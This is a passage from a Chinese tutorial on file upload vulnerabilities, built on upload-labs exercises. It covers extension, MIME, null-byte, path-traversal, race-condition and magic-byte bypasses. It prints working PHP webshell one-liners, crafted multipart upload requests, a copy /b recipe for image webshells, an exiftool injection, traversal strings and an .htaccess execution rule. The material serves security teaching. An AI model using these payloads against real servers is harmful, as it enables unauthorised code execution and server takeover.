.jpg 实际上文件内容为 php 脚本程序),则会导致严重的后果。
文件上传漏洞本身就是一个危害巨大的漏洞,WebShell 更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下 WebShell 以方便后续进入系统。攻击者在受影响系统放置或者插入 WebShell 后,可通过该 WebShell 更轻松,更隐蔽的在服务中为所欲为。
常见上传点
所有存在文件上传功能的地方都有可能存在文件上传漏洞,比如相册、头像上传、视频、照片分享。论坛发帖和邮箱等可以上传附件的地方也是上传漏洞的高发地带,另外像文件管理器这样的功能也有可能被攻击者所利用。
值得注意的是,如果移动端也存在类似的操作的话,那么相同的原理,也存在文件上传漏洞的风险。
正常文件上传的 HTTP 请求体结构
文件上传请求的 Content-Type 字段必须指定为 multipart/form-data,并通过 boundary 分隔符参数定义字段分隔符(随机字符串,避免与内容冲突),来分隔不同的表单字段。multipart/form-data 数据包由多个部分 (part) 组成,每个部分对应一个表单字段 (普通字段或文件字段),部分之间用 ------WebKitFormBoundary[0-9A-Za-z] 分隔,数据包末尾用 ------WebKitFormBoundary[0-9A-Za-z]-- 标记结束 (尾部多两个 -)。
下面是一个正常图片的上传数据包 (avatar.png):
POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 3456
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"
testuser
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="avatar"; filename="avatar.png"
Content-Type: image/png
89504E470D0A1A0A0000000D494844...
------WebKitFormBoundary7MA4YWxkTrZu0gW--
boundary 是随机生成的长字符串。filename 是正常的文件名。Content-Type 与文件类型匹配 (如 image/png)。文件内容是合法的图片二进制数据。简化后的请求体如下:
POST /upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(1)Content-Disposition: form-data; name="username"(2.1)(3)(2.2)(3)testuser(2.3)(3)------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Content-Disposition: form-data; name="avatar"; filename="avatar.png"(4)Content-Type: image/png(4)(4)89504E470D0A1A0A0000000D494844...(4)------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--(5)注:(1) 使用 `------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~` 替代 `------WebKitFormBoundary7MA4YWxkTrZu0gW`
boundary 用于分割不同的文件,上面的请求体被 3 行 boundary 分割成了两部分;
(2) 和 http 数据包一样,每个部分的结构为 “字段(2.1)-空行(2.2)-数据(2.3)”;
(3) 第一部分没有 Content-Type 字段,所以上传的是字符串数据,变量名为 username,变量值为 testuser;
(4) 第二部分的类型为 png 图片,变量名为 avatar,图片文件名为 avatar.png
下接二进制图片数据 (Hex),开头的 `89504E47` 为 png 格式的文件魔数;
(5) 最后的 boundary 会额外带有 "--" 的尾巴 (标红);
实际上上面的 http 数据包请求体相当于一个表格,由 ------WebKitFormBoundary[0-9A-Za-z] 完成表格行数据的分隔。
*name filename Content-Type *data
-------- ---------- ------------ --------
username - - testuser
avatar avatar.png image/png 89504E470D0A1A0A0000000D494844...
文件上传基础技术摘要
首先介绍一下黑名单绕过 (Blacklists Bypass) 和白名单绕过 (Whitelists Bypass) 这两个重要概念。
黑名单绕过和白名单绕过是文件上传漏洞的两种经典绕过思路,源自于两种针对文件后缀名的防御策略,黑名单策略中会列出服务器禁止上传的特定后缀 (如 .php、.jsp、.asp),白名单则相反,会列出仅允许上传的特定后缀 (如 .jpg、.png、.gif)。因此,黑名单策略的绕过方式主要靠 “捡漏”,需要找到可执行文件对应的替代后缀名;白名单策略的绕过方式主要靠 “欺骗”,需要找到验证逻辑中存在的缺陷。
下面例举了文件上传的基本技术摘要:
文件上传绕过
+-- 前端绕过(Client-Side Bypass)
| +-- 禁用 JavaScript
| +-- 修改前端校验逻辑
| `-- 先改后缀再抓包改回
|
+-- 服务端扩展名绕过(Filename Extension Bypass)
| +-- 黑名单绕过
| | +-- 大小写变形(.Php, .PHP)
| | +-- 特殊分隔符(.php;.jpg, .php%20, .php.)
| | +-- 00 截断(.php%00.jpg)
| | +-- 双写后缀(.pphphp)
| | `-- 路径穿越(../../shell.php)
| |
| `-- 白名单绕过
| +-- MIME 类型欺骗(Content-Type Bypass)
| +-- 00 截断(同上)
| +-- 路径穿越(同上)
| `-- 解析漏洞配合(.jpg → PHP 解析)
|
+-- 文件内容绕过(Content Bypass)
| +-- 文件魔数伪造(Magic Bytes)
| +-- 图片马 / 图片二次渲染绕过
| +-- SVG XSS
| `-- 压缩包嵌套 / 路径穿越
|
+-- 解析漏洞 / 配置错误
| +-- Apache .htaccess 解析
| +-- IIS 6.0 分号 / 目录解析
| +-- Nginx %00 空字节截断 / 畸形路径解析
| +-- PHP CGI 路径解析(CVE-2012-1823)
| +-- Tomcat 换行解析(CVE-2017-12615)
| +-- Tomcat AJP 文件包含(CVE-2020-1938)
| `-- 其他中间件解析漏洞
|
+-- 云存储 / OSS 配置错误
| +-- Bucket 劫持
| +-- 预签名 URL 滥用
| +-- 服务端代理模式路径穿越
| `-- 容器 / Serverless 逃逸
|
`-- 条件竞争上传(Race Condition)
`-- 上传瞬间包含 / 二次渲染时间差
现在的文件上传校验往往会对多个方面进行校验,传统的单一绕过技术已经很难直接完成文件上传绕过。
后文会以每个攻击类型为一个小节来进行说明。
前端绕过(Client-Side Bypass)
一次 Web 服务请求主要包含以下环节:
- 用户发起请求:用户在浏览器中输入 URL 或点击按钮,前端代码(HTML/CSS/JavaScript)捕获事件,准备向服务器请求数据或提交信息。
- 前端响应与处理 (Client-Side, Browser):
- DNS 解析:浏览器将域名解析为 IP 地址,建立与目标服务器的网络连接路径
- 建立 TCP 连接:通过三次握手建立 TCP 连接,如果是 HTTPS 还需进行 TLS/SSL 握手加密
- 发送 HTTP 请求:浏览器构造 HTTP 请求报文 (包含方法、URL、Headers、Body 等),此时 HTTP 代理(Proxy)介入
- 后端接收与处理 (Server-Side, Server):接收 HTTP 请求,并进行一系列处理:
- 路由匹配与权限验证
- 业务逻辑处理(数据库查询、计算等)
- 构造响应数据(通常为 JSON 或 HTML)
- 返回 HTTP 响应:后端将处理结果封装为 HTTP 响应报文,沿原路径返回,再次经过代理层 (一般不对返回流量进行代理)。
- 前端渲染:浏览器接收响应,解析数据并更新页面 (如 DOM 操作、React/Vue 状态更新),完成交互闭环。
PROXY
+-------------+
| (Burpsuite) |
+-------------+
USER BROWSER | SERVER
+--------------------+ +-------------------+ | +------------------------+
| Submit Web Request | -------> | Client-Side Check | ---↓---> | Server-Side Validation |
| | <------- | (by JavaScript) | <------- | (by Web Language) |
+--------------------+ +----------------↑--+ +------------------------+
| DNS SERVER |
+---↓---------------+
| DNS Resolution |
+-------------------+
前端校验发生在第二个环节的第三个步骤 (发送 HTTP 请求)。此时的校验是通过前端 Javascript 代码完成的。例如开发者在网页上写一段 Javascript 脚本,效验文件上传的后缀名,有白名单形式也有黑名单形式。如果上传文件的后缀不被允许,则会弹窗告知,此时文件上传的数据包并没有发送到服务端,只是在客户端浏览器使用 Javascript 对数据包进行检测。但由于恶意用户可以对前端 Javascript 进行修改或者是通过抓包软件篡改上传的文件,这导致基于 JS 的校验很容易被绕过。
如何判断当前页面是否使用了前端验证呢? 前端验证通过,表单成功提交后会通过浏览器发出一条网络请求,但是如果前端验证不成功,则不会发出这项网络请求。这构成了一则布尔回显 (feedback),攻击者可以在配置了代理的页面中故意触发黑白名单策略 (例如在仅限 .jpg、.png、gif 格式的上传点处上传 .php 格式的文件),如果 HTTP 代理正常捕获到了上传数据包,则证明上传校验发生在后端,如果 HTTP 代理没有捕获到数据包,且上传页面报错,则证明上传校验发生在前端。
前端 (Javascript) 检测的绕过方法主要有以下两种:
■ 直接修改前端校验逻辑
使用浏览器插件,删除检测文件后缀的 Javascript 代码。或者将校验逻辑修改为恒真表达式。以 upload-labs 第一关为例 (upload-labs, Pass-01)。第一关在定义了 checkFile() 函数,对上传的文件类型进行校验。并在上传点处进行调用 onsubmit="return checkFile()"
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
... ...
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
此时将 onsubmit="return checkFile()" 修改为 onsubmit="return true",或者将在控制台 (console) 覆盖原函数 checkFile = function() { return true; };。再或者通过 Console 解除所有事件监听:
// 获取表单元素
var form = document.querySelector('form');
// 克隆替换法(彻底清除所有事件监听)
var newForm = form.cloneNode(true);
form.parentNode.replaceChild(newForm, form);
■ 先改后缀再抓包改回
首先把需要上传的文件后缀改成允许上传的文件类型,如将 .php 文件后缀修改为 .jpg、.png、.gif 等,此时上传可通过 JS 校验。然后在抓包工具中将 .jpg、.png、.gif 等后缀名改回原来的后缀即可上传成功。
后缀变形绕过
后缀变形绕过是为了应对黑名单策略,包括以下方法 (::$DATA 等特殊分隔符绕过归类到截断欺骗分类,.jpg.php 归类到解析漏洞分类):
# 大小写变形
.Php, .pHp, .phP, .PHp, .pHP, .PhP, .PHP
# 双写
.pphphp
# 特殊后缀别名
.php, .php2, .php3, .php4, .php5, .php6, .php7,
.php8, .phtml, .phps, .pht, .phar, .pgif, .shtml
加上 Web 页面过滤代码编写如下,仅对文件拓展名进行了简单限制,此时可以通过大小写变形来绕过 (例如将文件重命名为 shell.PHP)。
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); // 黑名单策略
$file_name = trim($_FILES['upload_file']['name']); // 去除首尾空白字符
// 文件上传代码块
if(!in_array($file_ext, $deny_ext)) {
// 文件上传处理逻辑
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
为此系统运维升级了过滤策略:
// upload-labs Pass-03
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); // 黑名单策略
$file_name = trim($_FILES['upload_file']['name']); // 去除首尾空白字符
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); // 获取文件拓展名部分(包含 `.`)
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = trim($file_ext); // 收尾去空
// 文件上传代码块
if(!in_array($file_ext, $deny_ext)) {
// 文件上传处理逻辑
} else {
$msg = '不允许上传 .asp, .aspx, .php, .jsp 后缀文件!';
}
但升级后的过滤策略依然只对 .asp, .aspx, .php, .jsp 这四类拓展名生效,因此可以通过使用罕见拓展名的方式进行绕过。如 php 具就有多种特殊后缀别名,利用特殊后缀别名的方式可绕过不严谨的黑名单策略。其他 Web 语言也存在少见扩展名,例如 asp 的 .asa,jsp 的 .jspf。
.php, .php2, .php3, .php4, .php5, .php6, .php7, .php8, .phtml, .phps, .pht, .phar, .pgif, .shtml
过滤策略进一步升级,扩充了禁止的拓展名:
// upload-labs Pass-09
if (file_exists(UPLOAD_PATH)) {
// 黑名单策略,让你 ban 完了属于是
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']); // 去除首尾空白字符
$file_name = deldot($file_name); // 删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); // 获取文件拓展名部分(包含 `.`)
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = trim($file_ext); // 收尾去空
// 文件上传代码块
if(!in_array($file_ext, $deny_ext)) {
// 文件上传处理逻辑
} else {
$msg = '不允许上传 .asp, .aspx, .php, .jsp 后缀文件!';
}
还有一种过滤策略,会对后缀部分的 php、asp 等危险字符串进行替换。此时可以使用双写绕过 (Double Writing) 的技巧进行绕过 (shell.pphphp)。
shell.pphphp
^^^ # 替换这部分 ─┐
shell.php # <───────────┘
如果这也被 ban 掉,基本上就可以考虑其他绕过方式了。毕竟当下的过滤策略很难单靠后缀变形进行绕过。
MIME 欺骗
MIME (Multipurpose Internet Mail Extensions,多用途互联网邮件扩展) 最初用于邮件,现在是 HTTP 协议中标识文件/数据类型的核心标准,在 Content-Type 字段中进行数据类型标注。作用是告诉客户端(浏览器/服务器)如何解析接收到的数据 (比如是图片、脚本、文本还是可执行文件)。标注格式为:Type/Subtype,比如:text/html (HTML文件)、image/png (PNG图片)、application/javascript (JS脚本)。常见 MIME 类型:
type subtype comment
------------- ------------------------ ------------------------------
TEXT
text/plain 纯文本文件(.txt)
text/html HTML网页(.html/.htm)
text/css CSS样式表(.css)
application/javascript JavaScript脚本(.js)
IMAGE
image/jpeg JPG/JPEG图片(.jpg/.jpeg)
image/png PNG图片(.png)
image/gif GIF动图(.gif)
APPLICATION
application/octet-stream 任意二进制文件(默认兜底类型)
application/pdf PDF文档(.pdf)
application/zip ZIP压缩包(.zip)
application/x-php PHP脚本(.php)
FORM
multipart/form-data 表单包含文件上传时的类型
正常文件上传流程中,服务器会校验 Content-Type 字段。MIME 欺骗是指攻击者通过篡改 HTTP 请求/响应中的 Content-Type 字段,让服务器误把危险文件类型错判为安全文件类型,从而绕过安全限制 (比如把 application/x-php 改成 image/png),实现恶意文件上传的攻击手段。
下面的数据包给出了一个相关的案例。在这个例子中,尽管 MIME 类型为正常的 image/png,但 filename 为 avatar.php,若服务器仅对 Content/Type 进行校验,那么 avatar.php 恶意文件会被服务器误判为图片,实现绕过。最终攻击者访问该文件时,服务器解析为 PHP 脚本执行,获取服务器权限。
Hex View 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F -------- ----------------------- ----------------------- ---------------- 00000000 ef 72 b8 f0 22 26 68 ed b6 0f 06 e9 08 00 45 00 .r.."&h.......E. 00000010 00 34 00 00 40 00 34 06 dc 3a b6 8c e1 30 c0 a8 .4..@.4..:...0.. 00000020 00 0a 00 50 ee 61 9e 66 b5 65 de 81 e5 16 80 12 ...P.a.f.e...... 00000030 ff ff fe d8 00 00 02 04 05 3c 01 01 04 02 01 03 .........<...... 00000040 03 07 ..
POST /upload.php HTTP/1.1 Host: example.com Content-Length: 3456 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW(1)User-Agent: Mozilla/5.0 ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 Connection: close   ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="username"   testuser ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="avatar"; filename="avatar.php"(2)Content-Type: image/png(3)  <?php @eval($_POST['cmd']); ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW--注:(1) 有些服务器会对 header 中的 Content-Type 进行检测,
而非单单仅检测 body 中的 file part;
(2) 文件后缀为 .php;
(3) Content-Type 字段被修改为 image/png,与实际的文件后缀不匹配 (.php);
拓展延伸(反向MIME欺骗):客户端(比如浏览器)也可能被欺骗。比如服务器返回一个 Content-Type 为 image/jpeg 的文件。但实际却是类型为 application/octet-stream 的可执行文件。当用户被诱导并下载了这个 “jpeg” 文件之后,恶意文件便在客户端落地执行。
截断欺骗(特殊分隔符)
截断绕过 (Truncation Bypass) 要求上传路径可控。原理是提前截断上传路径。
因为在 C 语言及其衍生的语言 (如 PHP 早期版本) 中,空字节 (\0 或 0x00) 被视为字符串的结束符。若在上传路径中使用空字节 %00 会提前截断上传路径,%00 之后的内容会被直接丢弃。
常用的截断分隔符有:
.php;.jpg
.php%20
.php.
.php%00.jpg # `%00` 表示空格,这里使用的是空格截断 + Unicode 编码混淆的技巧
.php::$DATA # NTFS 数据流绕过,Windows 自动保存为 shell.php
举例说明,上传 shell.php%20.jpg 文件,在进行拓展名校验的时候,校验策略将这个文件视作 .jpg 文件,但在文件保存时由于 %20 截断了上传路径,上传路径会从 ./upload/shell.php%20.jpg 变成 ./upload/shell.php 从而达成截断绕过的目的。
并且不同的截断符对 Web 语言类型、语言版本,甚至操作系统类型都有要求。(例如在 php 环境中使用 %00 截断符要求 php < 5.3.4 且 magic_quotes_gpc = Off)。进而可以引出另一个知识点,根据绕过策略的对象,可以分为以下三个层次:
- 解析逻辑层:工作在中间件的解析策略处,绕过原理是将原本拓展名安全的文件按照可执行文件来解析 (
.jpg当作 php 文件来解析)。例如:Apache 多后缀、Nginx 畸形路径等 - 过滤机制层:工作在上传点的过滤策略处。例如:黑名单、白名单
- 系统特性层:工作在系统层次,与系统底层处理机制相关。例如:Windows NTFS 数据流、空字符截断等
这里再提一嘴,截断欺骗分为 GET 型和 POST 型,这两者使用不同的编码方式,GET 请求在 URL 处提交变量,因此直接使用 %00 即可绕过,而 POST 请求并非通过 URL 传参,因此需要将 %00 进行 Hex 编码。
路径穿越/路径遍历
路径穿越 (Path Traversal/Directory Traversal),也叫路径遍历,是指攻击者通过在文件名中注入 ../ 或 ..\ 等相对路径序列,使文件被保存到预期目录之外的位置,从而覆盖系统关键文件或写入 WebShell 实现 RCE。
# Linux 等类 Unix 系统使用 `/` 作为路径分隔符
../../shell.php
# Windows 系统使用 `\` 作为路径分隔符
..\..\windows\system32\config\shell.php
上面的基础路径穿越还可以搭配其他技巧一起使用 (双写、编码绕过、字符截断):
# 双写绕过
....//....//etc/passwd
# 编码绕过 (以 URL 编码为例)
# %2e(.) %25(%) %2f(/) %%5c(\)
%2e%2e%2fshell.php
%2e%2e%5cshell.php
..%252fshell.php
%252e%252e%252fshell.php
# 字符截断绕过
filename=../../../etc/passwd%00.jpg
# 绝对路径注入
filename=/var/www/html/config.php
filename=C:\inetpub\wwwroot\web.config
条件竞争上传
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
Web 服务器上传校验策略会先将文件写入磁盘再进行校验,若未通过校验则删除。条件竞争绕过就是利用了这一短暂的停留时间,趁校验策略工作到做出判断的这一小段时间差,执行微量的代码,从而达到上传含有恶意代码的非法文件的目的。
下面是存在条件竞争上传漏洞的上传校验代码:
// upload-labs Pass-17
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
// 将上传文件作为临时文件移送至 $upload_file 路径
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
上面的代码没有校验上传的文件,而是将文件直接上传后再进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。 由于服务器并发处理多个请求,假如 a 用户上传了木马文件,由于代码执行需要时间,在此过程中 b 用户访问了 a 用户上传的文件,会有以下三种情况:
- 访问时间点在上传成功之前,没有此文件。
- 访问时间点在刚上传成功但还没有进行判断,该文件存在。
- 访问时间点在判断之后,文件被删除,没有此文件。
那么可以构造下面这样的 php 文件 (test.php):
<?php fputs(fopen("shell.php", "w"), "<?php phpinfo() ?>") ?>
上传 test.php 文件后在 test.php 文件未删除之前立刻访问该文件,使得 test.php 文件被执行,进而在当前路径下创建内容为 <?php phpinfo() ?> 的 shell.php 文件,达到上传非法文件的目的。
由于在 “文件未删除前立刻访问” 需要极快的速度,无法通过手工触发,因此通常需要使用一定的自动化攻击。例如 Burpsuite 的 Intruder 模块 (Attack-type=Sniper)。
文件魔数伪造(Magic Bytes)
某些类型的文件在开头几个字节处有固定的内容,可以通过这些字节来判断文件类型,这些字节被称为魔数 (magic number/Magic Bytes)。例如,比如 PNG 的文件头魔数是 89 50 4E 47,JPG 的文件头魔数是 FF D8 FF。
type Magic Bytes Comment
---- ----------------------------- -------
JPEG FF D8 FF E0 00 10 4A 46 49 46
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38 39 61 GIF89a
47 49 46 38 37 61 GIF87a
BMP 42 4D
TIFF 49 49 2A 00 Intel
4D 4D 00 2A Motorola
PDF 25 50 44 46 2D
OLE2 D0 CF 11 E0 A1 B1 1A E1 DOC/XLS/PPT
XML/ZIP 50 4B 03 04 DOCX/XLSX/PPTX, 与ZIP相同
ZIP 50 4B 03 04
RTF 7B 5C 72 74 66
RAR 52 61 72 21 1A 07 00
7z 37 7A BC AF 27 1C
EXE/DLL 4D 5A MZ
ELF 7F 45 4C 46
Class CA FE BA BE Java Class (cafebabe)
MP3 49 44 33 ID3
MP4 00 00 00 18 66 74 79 70
WAV/AVI 52 49 46 46 RIFF
使用魔数来判断文件类型非常重要,因为文件扩展名很容易被修改或丢失,不够可靠。通过检查文件开头的实际二进制内容,魔数提供了一种更准确、更安全的文件格式识别方法,这对于安全验证、数据处理和防止恶意文件上传都至关重要。反过来,有时候文件上传校验不仅仅只对 HTTP 字段和文件拓展名进行检测,更严格的还会校验文件魔数。因此有时需要在恶意文件前拼贴正常的安全文件内容 (至少要拼贴文件头魔数),下面展示了文件魔数伪造的数据包。
POST /upload-labs/Pass-02/index.php?action=show_code HTTP/1.1 Host: test.com Content-Length: 446 Cache-Control: max-age=0 Origin: http://test.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGpGxYcC8RA5qSd8t Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/... Referer: http://test.com/upload-labs/Pass-02/index.php?action=show_code Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive   ------WebKitFormBoundaryGpGxYcC8RA5qSd8t Content-Disposition: form-data; name="upload_file"; filename="combined.jpg" Content-Type: image/jpeg   □PNG(1)  IHDR[6ÅØsrRGB®ÎégAMA±□Üa pHYs%%ÍR$ðIDATWcø□0 □VA[F;Å□□OoIEND®B'□<?php @eval($_GET["cmd"]); ?>(2)------WebKitFormBoundaryGpGxYcC8RA5qSd8t Content-Disposition: form-data; name="submit"   上传 ------WebKitFormBoundaryGpGxYcC8RA5qSd8t--注:(1) 文件魔数在数据包内会被转义,例如 `89 50 4E 47` 会被转义为 PNG;
(2) PNG 文件尾部拼了 shell.php 文件;
比较常用的技巧叫做文件内容混淆,也可以叫做文件隐写。文件头部是正常图片数据,但尾部附加恶意代码。文件开头有合法的 PNG 头部 (89 50 4E 47),尾部附加了 PHP 代码,这种方式可以绕过简单的文件头检测。在 Windows 系统中可以按照如下方式制作拼接文件:
C:\Users\mytt\Desktop>type blank.png
塒NG
C:\Users\mytt\Desktop>type shell.php
<?php @eval($_GET["cmd"]); ?>
C:\Users\mytt\Desktop>copy /b blank.png + shell.php combined.jpg
blank.png
shell.php
已复制 1 个文件
通过 ImHex 打开 combined.jpg 文件,二进制内容如下所示:
Hex View 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F -------- ----------------------- ----------------------- ---------------- 00000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 .PNG........IHDR 00000010 00 00 00 05 00 00 00 03 08 06 00 00 00 5B 36 C5 .............[6. 00000020 F8 00 00 00 01 73 52 47 42 00 AE CE 1C E9 00 00 .....sRGB....... 00000030 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 00 00 ..gAMA......a... 00000040 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 ..pHYs...%...%.I 00000050 52 24 F0 00 00 00 12 49 44 41 54 18 57 63 F8 8F R$.....IDAT.Wc.. 00000060 05 30 A0 0B 80 00 56 41 00 5B 46 3B C5 81 8A 4F .0....VA.[F;...O 00000070 6F 00 00 00 00 49 45 4E 44 AE 42 60 82 3C 3F 70 o....IEND.B`.<?p 00000080 68 70 20 40 65 76 61 6C 28 24 5F 47 45 54 5B 22 hp @eval($_GET[" 00000090 63 6D 64 22 5D 29 3B 20 3F 3E cmd"]); ?>
完成拼贴之后,上传隐写过恶意代码的文件 (combined.jpg)。上传时可能根据需要配合其他绕过方法 (如修改 Content-Type 字段)。
图片马(Image Webshell)
图片马是一种将恶意代码(通常是 PHP、ASP、JSP 等脚本语言)隐藏在经过正常处理的图片文件中的攻击手段。一般而言,即使是插入了恶意代码的图片马,服务器也仅仅只会当作是普通图片来解析。因此要想让图片马按照可执行文件的方式进行解析,需要配合解析漏洞或者文件包含漏洞一起工作。
图片马的制作基于一个简单的事实:图片解码器只关心文件头和数据结构,而忽略文件末尾或特定元数据区域中的多余数据;但脚本解释器(如 PHP)只要检测到 <?php 标签就会执行代码。恶意代码常常隐藏在下面 3 个位置:
- 文件末尾追加:在正常的图片二进制数据结束后,直接追加 PHP 代码。图片查看器读到文件结束标记(如 JPEG 的
FF D9)后停止渲染,忽略后面的内容;PHP 解析器从头扫描,遇到<?php即执行 - EXIF/IPTC 元数据:将代码写入图片的属性信息(如注释、作者、相机型号)字段中。这些字段是图片标准的一部分,不会被破坏,且包含可执行的文本
- GIF 注释块:GIF 格式支持注释块,可插入代码
在上一小节已经介绍了如何制造图片马,下面来介绍如何利用图片马。
■ 解析漏洞的场景
以 .htaccess 文件解析漏洞为例进行说明。
该漏洞的利用前提是:Web 应用没有禁止 .htaccess 文件的上传,同时 Web 服务器提供商允许用户上传自定义的 .htaccess 文件。所谓的 .htaccess 文件(或者"分布式配置文件"),全称是 Hypertext Access(超文本入口)。提供了针对目录改变配置的方法。即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache的AllowOverride 指令来设置。例如:
AddType application/x-httpd-php .jpg
攻击者上传 .htaccess 文件,重写解析规则。如上面的规则的含义是 “将上传的带有脚本马的图片以脚本方式解析”。
■ 文件包含的场景
首先制作一个图片马,使用 cmd 接收 GET 请求的传参:
$ exiftool -Comment='<?php system($_GET[cmd]); ?>' shell.jpg
然后利用本地文件包含 (LFI) 通过 URL 完成传参:
GET /view.php?page=uploads/2024/01/shell.jpg&cmd=id HTTP/1.1
图片二次渲染绕过
二次渲染 (Secondary rendering) 是指服务器使用 GD库、ImageMagick 等工具对上传的图片进行重新处理 (压缩、裁剪、加水印、格式转换等),生成新的图片文件。
USER WEB SERVER DATASBASE +------------------+ +------------------+ +------------------+ | | | Secondary | | | | File Upload | -> | rendering | -> | Save as New File | | | | processing (1) | | | +------------------+ +------------------+ +------------------+注:(1) 服务器对图片进行二次渲染处理 (裁剪/压缩/转换),清除嵌入的恶意代码
二次渲染的工作机制:
| 处理类型 | 影响 | 可利用性 |
|---|---|---|
| 重新编码(JPEG/PNG/GIF) | 完全重建像素数据,清除所有元数据 | 低 |
| 裁剪/缩放 | 改变画布大小,可能重新采样 | 中 |
| 格式转换 | 如 PNG→JPEG,丢失透明通道 | 低 |
| 压缩质量调整 | 改变压缩率,数据重写 | 低 |
| 元数据剥离 | 清除 EXIF、ICC 等 | 中 |
■ 绕过方法1:找到不会被二次渲染破坏的区域
经过二次渲染,直接追加到图片尾部的恶意代码会被破坏。所以对于存在二次渲染处理的上传点,需要找到片处理库压缩/裁剪时得以保留的区域,向这个不会被修改的区域注入 payload。下面是有关二次渲染绕过的特殊注入技术:
- PNG IDAT 数据块注入:PNG 文件由多个数据块 (Chunk) 组成,IDAT 存储实际图像数据。通过构造特殊的 IDAT 块,使渲染后的图片保留特定像素值,这些像素值解码后即为 PHP 代码;
- JPEG 注释段注入:JPEG 文件由多个标记段 (Marker) 组成,COM 段 (注释) 可以被保留或利用;
- GIF 动画帧注入:GIF89a 支持多帧动画,某些渲染引擎只处理第一帧,后续帧保留原始数据;
- BMP 位图头注入:BMP 文件头较大,且通常不被重新编码,数据保留完整。
如何判断图片是否进行了二次处理呢? 最直接的是对比图片上传前后的体积大小,或者使用 16 进制编辑器打开图片查看上传后保留了哪些数据,查看那些数据被改变。
■ 绕过方法2:条件竞争上传
条件竞争上传绕过需要在文件被删除之前,在上传-破坏之间的短暂时间差之内直接访问原始文件。二次渲染可以视作为对原始文件的删除 (破坏),因此只要满足条件竞争的利用前提就可以利用这个技术进行绕过。
文件包含漏洞(LFI/RFL)
文件上传时还可以配合文件包含漏洞 (File Inclusion) 进行攻击,这样可以直接无视上传点的校验机制。核心思路是通过文件上传带有恶意载荷的 “正常” 文件,再通过文件包含漏洞执行恶意载荷。(例如上传无害 .txt 文件,然后通过 include() 使得 .txt 文件按照 PHP 执行)。
这里给出两个应用场景:
